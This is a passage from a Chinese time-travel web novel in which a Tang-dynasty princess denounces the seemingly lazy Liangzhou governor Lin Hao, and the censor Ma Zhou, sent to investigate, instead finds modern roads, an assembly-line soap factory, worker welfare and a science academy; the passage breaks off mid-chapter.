《边关摆烂三年,李二求我当女婿》
第 1 章:公主震怒,一纸奏折要你命!
大唐,凉州。
黄沙如幕,笼罩天地。
这座边陲重镇,是大唐国门,亦是抵御西域诸国的咽喉。
刺史府衙门前。
一辆与周围黄沙土屋格格不入的华贵马车,静静停靠。
车前,立着一道婀娜的身影。
宫装罩体,薄纱遮面,难掩其风华绝代。
正是为逃婚,一路从长安奔逃至此的大唐嫡长公主,李丽质!
“岂有此理!”
“简直岂有此理!”
李丽质气得娇躯发颤,胸口剧烈起伏。
她乃金枝玉叶,父皇的掌上明珠。
自长安而来,风尘仆仆,本以为这凉州刺史,怎么也该第一时间出城跪迎。
谁知,她递上代表身份的玉佩后,等来的却是一句冰冷无情的回复。
“刺史大人还在歇息,公主殿下请回吧。”
这一等,就从清晨等到了日上三竿!
她何曾受过这等奇耻大辱!
“公主,要不……我们先寻个客栈住下?”旁边的贴身丫鬟小环,怯生生地劝道。
“住下?”李丽质猛地回头,声音陡然拔高,“本宫倒是要看看,是何等的封疆大吏,敢在这边防重地,白日酣睡,不理政事!”
“他不是睡吗?好!本宫就亲自去看看,他治下的凉州,被他糟蹋成了什么鬼样子!”
话音未落,她一把掀开头上挡风沙的帷帽,不顾丫鬟的惊呼,提着裙摆,直接冲入了凉州城的大街。
下一刻,眼前的景象,让她心头的怒火被一盆冰水当头浇下,随即化作了刺骨的寒意。
街道,是干净平整,甚至比长安御道还要坚硬的灰白色大道。
然而,宽阔的街道上,却空无一人!
行人,三三两两,衣衫褴褛,一个个面黄肌瘦,眼神空洞地靠在墙角,如同失了魂的木偶。
街道两旁的店铺,十家有八家大门紧闭,门板上积着厚厚的沙尘,宛如一座死城。
这诡异的一幕,比单纯的破败更让李丽质心惊。
路修得这么好,城里却像鬼城一样萧条?
这分明是好大喜功,只做面子工程,却将百姓压榨得活不下去的铁证!
这哪里是大唐的西大门?这分明是一座被吸干了血肉的炼狱!
李丽质的心,一寸寸下沉。
她强压怒火,走到那几个靠着墙根的百姓面前,尽量让声音柔和。
“几位老人家,为何这大白天的,街上如此冷清,大家都不去做工吗?”
那几个百姓有气无力地抬了抬眼皮,见她衣着华贵,不似本地人,懒洋洋地答道。
“急啥,等刺史大人睡醒了,一切都好办了。”
“是啊,刺史大人说了,天大地大,睡觉最大。睡饱了,才有力气干活挣钱嘛。”
“嘘,小点声,可别吵着大人歇息,那可是我们凉州天大的罪过。”
轰!
这几句在百姓口中无比自然的话,落在李丽质耳中,却不亚于五雷轰顶!
这是何等的讽刺!何等的绝望!
在她看来,这分明是百姓在长期的懒政压迫下,已经彻底麻木,甚至用这种说反话的方式,来发泄他们心中那滔天的怨气!
他们已经不指望这位刺史了!
他们只是在等,等一个永远不会为他们做主的“懒神”睡醒!
“蛀虫!”
“国之蛀虫!”
李丽质再也无法抑制,只觉得一股热血直冲头顶,眼前阵阵发黑。
而造成这一切的罪魁祸首,那个叫林浩的刺史,此刻,竟然还在府衙里呼呼大睡!
“不可饶恕!”
“绝对不可饶恕!”
李丽质猛地转身,快步走回马车旁,胸中的怒火几乎要焚毁她的理智。
她一把夺过丫鬟手中的纸笔,直接用随身水囊里的清水化开墨锭,就在马车的车壁上,奋笔疾书!
每一个字,都带着雷霆之怒,力透纸背!
“禀父皇:”
“儿臣长乐,途径凉州,所见所闻,触目惊心!凉州刺史林浩,好大喜功,懒政成性!其大修官道,粉饰太平,实则不理政事,致使城池萧条,百业凋敝,民怨冲天!”
“边防重镇,竟糜烂至此!此獠在任一日,凉州便危殆一日,百姓便多受一日煎熬!”
“其行径人神共愤,天地不容!儿臣恳请父皇,为万千黎民计,为大唐江山计,降下雷霆之怒,将此国之蛀虫……就地格杀!”
“以儆效尤!”
写完最后一个字,李丽质将笔狠狠一掷,把这封措辞严厉到极点的奏折递给身边的亲卫。
“八百里加急!立刻!马上!送往长安!亲手交到父皇手中!”
“是,公主!”
亲卫接过奏折,感受到公主身上散发出的滔天杀意,不敢丝毫怠慢,翻身上马,卷起一阵烟尘,朝着长安的方向狂奔而去。
看着远去的快马,李丽质眼中的怒火,化为冰冷的杀机。
林浩!
本宫不管你背后站着谁!敢如此祸害我大唐江山,你,死定了!
……
与此同时,刺史府衙,后院。
一株老槐树下,特制的宽大摇椅上,一道身影睡得四仰八叉。
“吱呀…吱呀…”
摇椅轻晃,声音催人入眠。
正是凉州刺史,林浩。
他双目紧闭,呼吸匀称,嘴角甚至挂着可疑的晶莹,睡得物我两忘。
对这位穿越者而言,醒掌天下权?醉卧美人膝?太累了!
有这个时间,多睡会觉,享受一下封建社会朴实无华的刺史生活,不香吗?
奋斗,是不可能奋斗的。
此刻,林浩缓缓睁开了眼,伸了个舒服至极的懒腰。
他打了个哈欠,对着门外喊了一声。
“来人。”
一名亲兵立刻跑了进来:“大人,您醒了。”
“嗯,”林浩懒洋洋地摆摆手,“去把科学院那帮人叫来,本官昨晚做了个梦,想到一个能自动翻书的玩意儿,画个图纸给他们,让他们赶紧做出来。”
“以后本官躺着看书,就不用自己动手了。”
说完,林浩眼皮一耷拉,竟又要睡去。
亲兵早已习惯了自家大人的行事风格,闻言却是双目放光,激动地重重点头。
“遵命!大人您好好歇着!小的这就去办!”
说罢,他兴奋地转身跑出。
在他看来,大人每一次“犯懒”想出来的东西,都足以改变世界。
而林浩,对那封即将决定他生死的夺命奏折,一无所知。
第2章:凉州急报,帝王杀心
长安,太极殿。
殿内气氛沉凝如铁。
“陛下,吐谷浑狼子野心,屡屡犯边,臣以为,当遣大将西征,给予雷霆一击,方能震慑宵小,安定西陲。”
左列为首的房玄龄手持笏板,声若洪钟。
龙椅之上,李世民身着明黄龙袍,闻言微微颔首,正欲开口。
突然,一阵急促到变调的脚步声由远及近,疯狂撞向庄严的殿门。
“报——”
一名内侍总管连滚带爬地冲进大殿,神色惊惶,手中高高举着一封火漆封口的信件。
“陛下!凉州八百里加急!!”
此言一出,整个太极殿的空气被瞬间抽空。
八百里加急!
这在大唐,只意味着一件事——足以动摇国本的军国大事!
“凉州”二字,更是让所有朝臣的心脏被一只无形大手攥紧。那里,是大唐的西大门!
“呈上来!”
李世民的声音瞬间低沉下来,心中闪过无数不祥的预感。
是吐谷浑大军压境?还是西突厥撕毁盟约?
内侍总管踉跄着跑到丹陛之下,将信件高高举过头顶。
李世民一把夺过,可当他视线触及封口上那熟悉的印记与清秀字迹时,紧绷的面容竟缓和下来。
“是长乐的亲笔信。”
他甚至露出了一点笑意,对着下方解释了一句,“这丫头,逃婚都逃到凉州去了,总算还知道给朕报个平安。”
他一边说着,一边撕开信封,动作随意了许多。
满朝文武也都松了口气,原来是公主的家书,虚惊一场。
然而,这口气,他们松得太早了。
所有人都看到,李世民脸上的笑意,正在一点点凝固。
他舒展的眉头,拧成了一个川字。
大殿内的温度,随着他的沉默,骤降到了冰点。
房玄龄与杜如晦交换了一个眼神,都从对方眼中看到了愈发浓重的不安。
究竟是怎样的家书,能让这位泰山崩于前而色不变的帝王,流露出如此骇人的神情?
李世民的胸膛开始剧烈起伏,呼吸变得粗重,一双龙目渐渐爬满血丝!
“岂有此理!”
“岂有此理!!!”
轰!
一声震耳欲聋的巨响!
李世民一掌砸在面前的龙案之上!那坚硬无比的金丝楠木龙案,竟被他硬生生砸出一道清晰的裂纹!
“陛下息怒!”
满朝文武“唰”地一下,全部跪倒在地,殿内鸦雀无声,唯有帝王沉重的喘息。
“念!”
李世民指着那封信,对着身旁的内侍总管,几乎是从牙缝里挤出了这个字。
“是……是……”
内侍总管吓得魂不附体,颤抖着双手接过那张薄薄的信纸,却感觉重若千钧。
他强自镇定,用尖锐而颤抖的声音,将信中的内容一字一句地公之于众。
“禀父皇:儿臣长乐,途经凉州,所见所闻,触目惊心!凉州刺史林浩,好大喜功,懒政成性……”
随着内侍的声音在空旷的大殿中回响,所有大臣的脸色都从惊愕,到不信,再到滔天的震怒!
当听到“城池萧条,百业凋敝,民怨冲天”时,几位须发皆白的老臣已气得浑身发抖。
“陛下!”
国舅长孙无忌第一个越众出列,他脸色铁青,“凉州乃我大唐西陲屏障,若刺史真如公主所言,懒政至此,致使城防废弛,民心尽失,一旦外敌来犯,国门危矣!”
“此非小过,乃是动摇国本之大罪!请陛下,严惩此獠!”
“请陛下,严惩此獠!!”
群臣激愤,声浪震殿。
李世民的怒火已经燃烧到了顶点。
“朕的子民!朕的子民竟活在水深火热之中!”
他缓缓站起身,扫过跪伏在地的群臣,最后,落在一个身形清瘦、眼神刚直的中年官员身上。
“马周!”
被点到名字的官员身体一震,立刻出列,叩首在地,声如洪钟。
“臣在!”
马周,以直言敢谏,不畏权贵闻名。
他是李世民手中最锋利的一把监察之剑!
“朕命你,即刻起程,持朕节杖,赴凉州!”
“将那刺史林浩的狗头,给朕带回来!”
“朕要让天下所有官员都好好看看,看看懒政怠工,欺上瞒下者,是何下场!”
满朝文武噤若寒蝉,皆以为此事已成定局。
然而,被点名的马周,却在重重叩首之后,并未立刻起身领旨。
他伏在地上,身体微微发颤,似乎在进行着天人交战。
李世民眉头一皱:“马周,你还等什么!”
就在所有人都以为马周会高呼“臣领旨”时,他却抬起头,沉声道:“陛下,臣……不敢奉诏!”
此言一出,满殿哗然!
就连房玄龄与杜如晦都露出了惊骇之色。
马周疯了吗?竟敢在陛下雷霆之怒下,公然抗旨!
“你说什么?”李世民目光猛地锁死在马周身上,仿佛要将他生吞活剥,“你敢抗旨?!”
无尽的帝王威压如山岳般压下,马周的额头渗出冷汗,但他依旧挺直了脊梁,不卑不亢地说道:“陛下息怒!臣并非为林浩开脱,此獠若真如公主所言,罪恶滔天,臣恨不能亲手剐之!但国法如山,审案需有铁证。仅凭公主一面之词便授以先斩之权,此非律法之正道。”
“臣身为监察御史,风闻奏事是本分,查明真相更是天职!请陛下准臣先赴凉州彻查此案。若证据确凿,罪无可恕,臣再请旨,将其明正典刑,昭告天下,如此方能让天下臣工心服口服!”
大殿内死一般的寂静。
所有人都为马周捏了一把汗。
李世民死死地盯着马周,胸膛剧烈起伏,眼中的怒火几乎要喷薄而出。
良久,李世民眼中的狂怒竟缓缓退去,笑出了声,“好!好一个马周!好一个刚正不阿的监察御史!”
“朕,准了!”
马周心中一松,正要叩谢。
“但是!”李世民话锋一转,“朕丑话说在前面!你给朕查!给朕仔仔细细地查!可若是查明,公主所言句句属实,那林浩就是罪大恶极,罄竹难书!”
“届时,你便不必回报,不必请旨!”
“朕,同样赐你——”
“先!斩!后!奏!之权!”
这一下,马周再无异议。
他知道,这是帝王最后的底线,也是对他最大的信任。
“臣,领旨!”
马周重重叩首,眼神决绝,“若查证属实,臣必不辱使命,亲斩此獠,以正国法,以慰民心!”
下朝后,殿内恢复了死寂。
李世民靠在龙椅上,手指无意识地敲击着那道刺目的裂纹,许久,他看向一旁的长孙无忌,声音轻得只有两人能听见。
“辅机,派个人跟着去。”
“朕要知道,是谁给他的胆子。”
第3章:这通天神路竟是人修的?
长安城外,官道之上,一列马车在烟尘中颠簸前行。
为首的马车内,御史中丞马周端坐不动,任凭车身如何剧烈摇晃,他自岿然如山。
身旁锦盒中,静静躺着天子赐予的节杖与那道分量千钧的圣旨。
“先斩后奏”,这四个字,是帝王雷霆之怒的体现,也是对他马周最大的信任。
但他深知,监察御史的天职,是查明真相,而非凭一封公主的信,就草率定人生死。
林浩,到底是国之蛀虫,还是另有隐情?长乐公主所言,究竟是句句属实,还是被表象蒙蔽?
这一切,都需要他亲眼去看,亲手去查。
离开关中平原,道路愈发难行。
所谓的官道,早已在年久失修中沦为陷阱,坑洼遍地,车轮深陷其中,颠簸得人五脏六腑都错了位。
“大人,这鬼路也太难走了!”
一名随行的年轻御史掀开车帘,满脸痛苦地抱怨,“官道尚且如此,那凉州城内,怕是真的如公主所言,已经烂到了根子里!”
马周闻言,眉头微蹙,心中那杆天平,不由自主地向着“林浩有罪”的一方,又倾斜了一分。
风餐露宿数日,一行人终于抵达了凉州地界。
“大人,前方就是凉州界碑!”探路的校尉嘶声来报。
马周正襟危坐,准备迎接更糟糕的路况。
然而,就在车队越过界碑的瞬间——
“咯噔!”
一声清脆的硬响自车轮下传来,那足以将人骨头颠散的剧烈摇晃,竟戛然而止!
车厢内,瞬间变得平稳如履平地!
取而代之的,是一条平坦、坚硬、呈现出奇异灰白色的康庄大道!
它光滑得宛如玉带,一路向西,延伸至视线的尽头!
“吁——!”
车夫惊骇之下猛地勒住马匹,整个车队都停了下来。
所有官员纷纷走下马车,脸上只剩下呆滞与震惊。
“这……这是什么路?!”
“天杀的!这比长安的御道还要平整!”
“是整块的巨石铺就的吗?不可能!天下哪有能铺出百里之长的完整巨石!”
所有人都被眼前这条凭空出现的神奇大道,震得魂飞天外。
一个巨大的疑团,在马周心中轰然炸开。
公主信中,不是说那林浩好大喜功,懒政成性吗?
懒政,会修出此等利国利民的神奇大道?
这……这需要何等通天的手笔?这真的是那个“国之蛀虫”所为?
“走!”马周压下翻江倒海的惊疑,声音嘶哑地低吼:“沿着此路,全速前进!”
众人领命,回到车上。
这一次,感觉天差地别。
车轮滚过坚硬平坦的路面,发出“哒哒哒”清脆悦耳的声响,速度比在土路上快了何止一倍!
更重要的是,再无半点颠簸,平稳得让人产生一种荒谬的舒适感。
那因连日奔波而积累的疲惫与对案情的预判,竟在这神奇的大道上,被一点点颠覆,取而代之的,是愈发浓烈的惊奇与困惑。
疾行半个时辰,前方出现了一个小小的商队,几辆大车满载货物,正从凉州方向缓缓驶来。
“停下,问话!”马周下令。
一名校尉立刻上前拦住商队。
为首的中年商人面色黝黑,笑容爽朗,见到马周一行人的官服,连忙躬身行礼:“草民见过各位大人。”
马周掀开车帘,直指脚下大道,开门见山:“本官问你,此路何物所铺?何人所建?”
听到这问题,那商人脸上的笑容瞬间化为一种发自肺腑的骄傲与自豪,他猛地挺直了腰杆,朗声道:“回大人的话!此路名为‘水泥路’,乃是我们凉州刺史林浩大人,亲手所创,并督造而成!”
“什么?!”
马周与身后所有官员,如遭雷击,齐齐失声!
林浩?
那个在公主信中懒政误国的林浩?
他发明的?
商人见他们不信,兴致更浓,滔滔不绝地说了起来。
“各位大人有所不知!以前我们凉州这路,‘晴天一身土,雨天一身泥’,走商的弟兄们苦不堪言!一车货运到长安,路上就得颠坏三成!”
“可自打林大人来了,一切都变了!他捣鼓出这叫水泥的神物,遇水则化,干了比石头还硬!”
“然后,林大人就带着我们全城百姓修路!他还说了一句顶顶有道理的话,如今已是我们凉州的口头禅了!”
马周喉头滚动,追问道:“什么话?”
那商人清了清嗓子,用一种近乎朝圣般的崇敬语气,一字一顿地吼道:
“要想富,先修路!”
轰!
六个大字,简单粗暴,却如同六道天雷,狠狠劈在马周的天灵盖上,让他眼前阵阵发黑!
要想富,先修路!
这是何等高瞻远瞩的经世之言!
这是何等经天纬地的旷世奇才,才能悟出如此朴素而又直指核心的至理!
这……这会是那个被弹劾懒政的“国之蛀-虫”能说出来的话?!
“大人您看,”
商人指着自己满载的货车,脸上是藏不住的幸福,“现在有了这水泥路,路好走了,车跑快了,货物也安全了!我们商队的生意比以前好了十倍不止!城里百姓,靠着修路,家家户户都挣了工钱,日子一天比一天红火!”
“我们凉州百姓都说,林大人就是文曲星下凡,是上天派来拯救我们的大救星!”
说到这里,商人像是想起了什么,压低了声音,神秘兮兮地补充道:
“对了,各位大人,你们要是现在进城,可千万别被吓着。”
“我们林大人有令,凉州白日风沙大,日头毒,不宜劳作,故全城休沐!所有衙门、商铺、作坊,一律关门歇业,要办事,等下午凉快了再说!这叫……错峰工作!”
商人的话音刚落,马周的瞳孔骤然收缩!
全城休沐?
他奉旨前来查案,结果连城门都进不去了?
不!不对!
马周猛地看向凉州城的方向,一个更可怕的念头在他脑中炸开——
这到底是体恤百姓的“错峰工作”,还是那林浩得知自己前来,提前上演的一出……
空城计?!
第4章:斩我?你先给我投个资!
“大人!”
身后一名随行的年轻御史策马上前,压低了声音,“此路虽奇,或为个例。我等奉天子之命,持先斩后奏之权,若因一事一物而迟疑,便是对圣命的动摇!当立刻入城,宣读圣旨,将林浩拿下,再行审问,方为正途!”
这番话,句句在理,是臣子最稳妥、最正确的做法。
只要冲进城去,将那林浩一刀斩了,便是大功一件,圣心大慰。
可……
若公主所言有误会,自己斩掉的,就不是一个国之蛀虫,而是一个能经天纬地、造福一方的旷世奇才!
到那时,他马周,将如何面对天下悠悠之口?如何面对大唐的国法与未来?
他闭上眼睛,额角渗出细密的冷汗。
一边是雷霆雨露皆是君恩,一边是家国栋梁不可错杀。
他陷入了为官以来最深沉的权衡。
那名年轻御史见他沉默,还想再劝,却被马周猛地睁眼打断。
再次睁开眼时,马周眸中已再无半分犹豫:“钦差仪仗入城,所见所闻,皆是粉饰。”
“布衣匹夫入城,所见所闻,方为真实。”
“本官此来,非为杀人,而是为求真。真相不明,国法不立。”
“传我命令!”
“全队人马,城外十里寻一隐蔽地扎营,封锁消息,不得暴露身份,不得惊扰地方!”
“啊?”年轻御史大惊失色,“大人,这……这若被陛下知晓……”
“若陛下怪罪,所有罪责,由本官一人承担。”马周没有理会他的惊惶,翻身下马,三两下解下自己身上那件显眼的官袍,连同节杖一起,郑重地交给副手。
“本官要换上便服,亲自入城看看。”
……
凉州城,西市。
午后的阳光不再毒辣,街道上的人流和商贩渐渐多了起来,喧闹声取代了白日的寂静,整座城池焕发出勃勃生机。
林浩背着手,悠哉游哉地在街上闲逛。
他不是巡查,也不是体察民情,纯粹就是在为一件事发愁——钱。
“自动翻书机”的图纸已经扔给科学院了,可那帮家伙又来哭穷,说实验新材料需要经费。
但如今这凉州需要用钱的地方多的是,哪里还有经费来搞这个。
必须得找个大金主,拉一笔天使投资才行。
正愁眉不展间,他的视线忽然被不远处的一行人吸引了。
为首的是一个中年男子,身着质地上乘的丝绸便服,虽然面带风尘,却掩不住那一身久居上位的气度。
他身后还跟着几个随从,一个个太阳穴高高鼓起,步伐稳健,一看就是练家子。
外地来的大客商?
林浩的眼睛瞬间就亮了。
这不,“肥羊”就在眼前。
而他不知道,他眼里的这只“肥羊”,正是微服私访的御史大夫,马周。
马周正带着两名护卫,一边在街上走着,一边不动声色地观察着四周。
街道干净整洁得不像边陲之城。
行人精神面貌与公主密信中描述的“行尸走肉”截然不同,人人脸上都带着一股忙碌而充实的劲头。
店铺家家开门迎客,叫卖声此起彼伏,一派热火朝天的欣欣向荣之景。
这……这哪里是什么破败鬼城?
马周心中的疑团,已然滚成了一个巨大的雪球。
就在他沉思之际,一道身影忽然热情洋溢地凑了上来,笑嘻嘻地挡住了他的去路。
“这位老板,请留步!”
马周一愣,抬眼便看到了林浩那张灿烂得有些过分的笑脸。
不等马周开口,林浩已经一把抓住了他的胳膊,态度熟络得像是见到了失散多年的亲兄弟。
“老板,我看你印堂发亮,气宇轩昂,周身一股藏不住的富贵之气环绕,一看就是干大事,赚大钱的人!”
马周和他身后的护卫,当场就懵了。
这是什么人?街头的江湖骗子?
护卫的手已经按在了刀柄上,眼神瞬间变得凌厉。
可下一刻,他们却愣住了。
因为周围的路人、商贩,看到这一幕,非但没有丝毫惊讶,反而露出了见怪不怪、甚至有些幸灾乐祸的笑容。
“嘿,你们看,林大人又开始了!”
“啧啧,这位外地来的老板看起来气度不凡,怕是要被大人给盯上了。”
“我赌一文钱,一炷香之内,这位老板就会被大人说得晕头转向!”
“我赌两文,他会心甘情愿地跟着大人走!”
这些议论声不大,却清晰地传入了马周和护卫的耳中。
林……林大人?
这个举止轻浮,油嘴滑舌,活像个市井无赖的年轻人,就是凉州刺史,林浩?!
马周的大脑嗡的一声,瞬间一片空白。
而林浩,完全没理会他们的错愕,自顾自地开始了他的激情推销。
“老板,相逢即是缘分!”
“我这儿有个能改变世界,让你财源滚滚的绝佳项目,有没有兴趣,投资一下?”
投资?
这是什么词?
马周本想询问此地情况,结果话到嘴边,硬生生被林浩这套闻所未闻的说辞给憋了回去。
“我跟你讲,我们凉州,现在正处于腾飞的前夜!”林浩拉着马周,唾沫横飞,激情四射。
“我正准备搞一个凉州高新产业开发区,专门招商引资!”
“只要你投钱进来,我给你股份,每年年底给你算分红!你要是技术过硬,还能技术入股!”
“你看上哪块生意,我甚至可以给你特许经营权!你想想,到时候那钱还不是哗哗地流进口袋?”
股份?分红?特许经营权?
马周感觉自己的脑袋彻底宕机了。
他活了半辈子,饱读诗书,官至御史大夫,自问见多识广,可眼前这年轻人嘴里冒出来的词,他一个都听不懂!
可满城百姓,竟无一人觉得奇怪!
这说明什么?
说明这一切,在凉州,才是常态!
这林浩,根本不是在胡闹,而是在用一种自己完全无法理解的方式,治理着这座城市!
“走走走!”林浩见他一脸“震撼”的表情,以为是说动了对方,更是热情。
他不由分说,拉着马周的袖子就往一个方向走。
“口说无凭,我带你去看看我的样板工厂!保证让你大开眼界,心甘情愿地把钱掏出来!”
“哎……你……”
马周就这么被一个素不相识的年轻人,在大庭广众之下,连拉带拽地拖走了。
他身后的两名护卫,面面相觑,彻底石化。
马周之前特意叮嘱他们,没有命令,不许轻举妄动。
如今他们只能眼睁看着堂堂帝国御史大夫,手持先斩后奏大权的钦差大人,被那个他们本该捉拿的“罪官”,当成一个“潜在的冤大头”,给……给绑架去谈生意了?
第5章:钦差懵了!这工厂里,藏着盛世大唐
马周几乎是被林浩半拖半拽地,踉跄着拖进了一座院落。
院墙是寻常的夯土墙,毫不起眼。
可那座大门却异常气派,门楣之上,悬着一块崭新的乌木牌匾,龙飞凤舞地刻着六个鎏金大字——“凉州第一肥皂厂”。
“老板,来,这边请!”
林浩一推门,一股浓烈而奇特的味道便扑面而来。
那是一种油脂被熬炼的腻味,混杂着草木灰的碱味,却又被一股说不清道不明的植物清香中和,钻入鼻腔,古怪却不难闻。
绕过一道绘着“招财进宝”的俗气影壁。
下一刻,眼前的景象,让马周瞬间定在了原地。
他的双目,控制不住地圆睁,瞳孔剧烈收缩!
只见宽阔无比的厂房内,数百名身着统一青蓝色短褐的匠人,竟男女混杂,分列于数十条长长的木案两侧,组成了一条条望不到头的“人龙”。
每个人,都像一个没有感情的木偶,只重复着一个简单到极致的动作。
木案上游,有人手持一张绷着细韧兽筋的木弓。
“噌——”
一拉一推之间,一大块淡黄色的膏状物,便被整齐划一地分割成寸许见方的小块,分毫不差。
方块顺着光滑的木案滑下,到了中段。
另一人眼疾手快,拿起一枚沉重的铜印,对准滑来的方块,手臂肌肉一紧。
“咚!”
一声沉闷的巨响,两个古朴的“凉州”篆字,便已深深烙印其上。
力道、位置,与前一块,与前一百块,别无二致!
末端,则是一双双快得只见残影的手。
那些手飞快抓起裁切得同样大小的油纸,三折两叠,一个精巧的纸包便已成型,被利落地丢入一旁的木箱之中,堆积成山。
整条“人龙”行云流水,衔接得天衣无缝,快得令人心头发麻!
如此效率……
不,这已经不是效率的问题了!
这是一种将人变成机器的恐怖技艺!
“这……这是何物?”
马周的声音干涩。
“流水线。”
林浩的语气轻松,指着那条不断流动的生产线,“一种能将生产效率提升到极致,把每一个人的作用都发挥到极限的绝妙法子。”
他随手一指,指向厂房最里面的一面墙。
墙上挂着一块巨大的黑漆木板,用白灰写满了密密麻麻的名字和一长串数字。
“此乃功赏榜。每个人完成的件数,都有专人记录。干得多,拿得多,日结日清,月结月赏。我这里,不养懒汉!”
不养懒汉……
马周反复咀嚼着这四个字,只觉得一股寒意从脚底板直冲天灵盖。
一个被长乐公主弹劾为“旷工怠政、大唐第一懒官”的人,却在这里,建立起了一个“不养懒汉”的恐怖体系!
这是何等的荒谬!
何等的讽刺!
他的目光死死盯住那“功赏榜”上,排在第一位的名字,那个名字后面跟着一串长得惊人的数字。
他不需要懂什么叫“计件”,他也能想象出,这个工人的收入,必然远超旁人,甚至可能比一些小吏的俸禄还要高!
这种激励方式,绕开了所有的道德文章、圣人教诲。
它简单、粗暴,却直抵人心最深处,最原始的欲望!
马周的心,彻底乱了。
他感觉自己毕生所学的经义策论,在这条简单粗暴的“流水线”和“功赏榜”面前,是如此的苍白,如此的无力!
就在这时,他的眉头猛地拧成了一个疙瘩。
他发现,在这条高速运转的生产线上,竟有近半数是女子!
她们和男人一样,穿着同样的工服,做着同样的工作,动作甚至比一些男子还要麻利!
阴阳失序,男女混杂!
成何体统!
“林大人!”
马周再也忍不住了,他猛地拽住林浩的衣袖,“女子于家中相夫教子,纺纱织布,方为正道!如今你令其抛头露面,与男子混杂劳作,实乃有伤风化,败坏纲常!非治世之景!”
在他看来,这便是公主信中“压榨百姓,日夜不休”的铁证!
此獠,竟连妇人都不放过!
林浩闻言,却用一种看古董的眼神,上上下下地打量了他一番。
“老板,你这思想,太老旧了。”
林浩撇了撇嘴,忽然指向功赏榜上一个名字:“看到没?王寡妇,上月功赏榜第一。靠着这双手,她一个人养活了三个孩子,还把卧病在床的婆婆送去了咱们凉州最好的医馆。”
“马老板,你来告诉我。”
“是让她在家里守着贞节牌坊,眼睁睁看着孩子饿死、婆婆病死,更有风化?”
“还是让她靠自己的双手,挣得一份家业,挺直腰杆养活一家老小,更有德行?”
“这……”
马周被这番话噎得脸色涨红,一个字都说不出来。
林浩却又用一种极为随意的语气,抛出了一个又一个重磅炸弹。
“哦,对了,忘了跟你说。”
“我们凉州,正在试点九年义务教育。凡凉州户籍的适龄孩童,无论男女,都必须入学,学费全免。”
“至于你担心的妇人劳作不便……”林浩笑了,指了指厂房的另一个方向,“那边有厂区配套的托儿所。女工上班时,孩子就放在那里,有专人看管,教他们读书写字,还管一顿热乎的午饭。”
“万一工作中出了意外,比如切肥皂时不慎划伤了手,我们还有工伤保险,医药费由我刺史府全额报销,误工期间,工钱照发。”
林浩说得云淡风轻,仿佛在说一件吃饭喝水般的小事。
可他每说一句,马周的脸色就白一分。
到最后,他已是面无人色,嘴唇都在微微颤抖。
托儿所?
工伤保险?
九年义务教育?
这些词汇,他一个都听不懂。
但他能明白这些词汇背后,所代表的,那如山一般沉重的含义!
那是一种他从未想象过的,对底层百姓无微不至的关怀!
那是一种将民生福祉,真正落到每一个针脚,每一处实地的经世济民之策!
马周呆立当场,如遭雷击,整个人都懵了。
他的世界观,在这一刻被彻底颠覆,然后被碾得粉碎。
那个被朝廷百官认定为“国之蛀虫”“奸猾懒官”的年轻人,正用一种他完全无法理解,甚至有些畏惧的方式,在凉州这片贫瘠的土地上,进行着一场惊天动地的变革!
公主……错得何其离谱!
而他自己,手持着那根要斩杀这位经天纬地之才的节杖,又是何等的可笑,何等的可悲!
从肥皂厂出来,林浩看马周已经被震撼得半天说不出话来,心中更加得意。
他拍了拍马周的肩膀,笑道:“老板,你这表情我见多了。第一次看到流水线生产的人,都是这个反应。”
“不过这才哪到哪。”
林浩指向远处一片开阔地带,那里矗立着几排巨大的厂房式建筑,“真正的好戏还在后头。走,我带你去看看我的核心资产——凉州科学院!”
第6章:知识就是力量?不,这是神迹!
科学院?
马周跟着林浩的脚步,心中疑惑更盛。
这个林浩,到底还藏着多少他闻所未闻的东西?
两人来到科学院门前。
马周本以为会看到什么威严的牌匾,什么“皇家学院”的金字招牌。
结果眼前只有一块普通的木板,上面用墨笔写着八个大字:
“知识就是力量。”
字体工整,却透着一股说不出的霸气。
马周念出这句话,感觉浑身都被电了一下。
知识就是力量?
这话听起来简单,可细想起来,却有种颠覆一切的味道。
“这话是我想出来的。”
林浩得意地解释,“我们这些搞技术的人,靠的就是知识,有了知识,就有了改变世界的力量。”
推开厚重的木门,一股奇特的味道扑面而来。
不是书香,而是各种金属敲击声、炉火熊熊的烟味、还有某种刺鼻的化学品气息。
马周愣住了。
这哪里像什么学院?
分明像是一个巨大的工匠作坊!
更让他目瞪口呆的是,院子里那些人的状态。
他们一个个衣衫沾满油污,头发凌乱,双眼却亮得吓人,状若疯魔。
有人围着一个奇怪的杠杆装置,兴奋地大喊大叫:
“成功了!成功了!我们真的把那头牛吊起来了!”
“哈哈哈!这杠杆原理太神奇了!以前要十个人才能抬动的东西,现在一个人就能搞定!”
另一边,一群人围着一堆黑乎乎的矿石和焦炭,争得面红耳赤:
“我觉得温度还不够高!”
“不对!是配比有问题!”
“都给我安静!让我再试一次!这次一定能炼出更好的钢!”
马周看得眼皮直跳。
这些人哪里像读书人?
分明是一群疯子!
“怎么样?”
林浩满脸自豪,“我这科学院里的人,个个都是人才。说话又好听,干活又卖力。”
“他们平时都在研究什么?”马周忍不住问道。
“多了去了。”
林浩掰着手指头数,“物理部研究力学、光学这些;化学部研究各种材料配方;还有材料部专门搞冶金技术改进。”
物理部?化学部?材料部?
马周一个词都听不懂,但听起来就很厉害的样子。
正说着,刚才研究杠杆的那群人注意到了林浩,立刻像朝圣一样围了过来。
“林大人!您来得正好!我们刚刚验证了《基础数理》第三章的杠杆定律!”
“大人,您看,我们按照书上的公式,真的能用很小的力,撬动很重的东西!”
“这简直就是神迹啊!以前我们只知道怎么用杠杆,从来不知道为什么能这样用!”
马周注意到,这些人提到的《基础数理》,显然是某本书。
而他们对林浩的态度,不是下属对上官的敬畏,更像是信徒对神明的崇拜。
“都是小意思。”林浩摆摆手,“继续研究,有什么问题随时来找我。”
“是!大人!”
几个人激动得眼泪都快出来了。
马周看得直咽口水。
这些人的状态,已经超出了他的理解范围。
他们不是在学什么经史子集,不是在背什么圣人教诲,而是在研究一些他完全听不懂的东西。
而且,研究得如此投入,如此狂热。
“来,老板,我带你去材料部看看。”林浩拉着马周继续往里走,“那边正在搞一个大项目,保证让你开眼界。”
材料部设在最里面的一间大厂房里。
刚一走近,就听到里面传来阵阵巨响,还有炽热的气浪扑面而来。
推门进去,马周差点被热浪掀翻。
只见厂房中央,架着好几个巨大的坩埚,下面烧着熊熊炉火。
一群满脸汗水的工匠,正围着坩埚忙碌不停。
有人往里面加矿石,有人控制火候,还有人不断记录着什么数据。
“林大人!您来了!”
一个须发花白的老匠人看到林浩,立刻跑了过来,满脸兴奋:
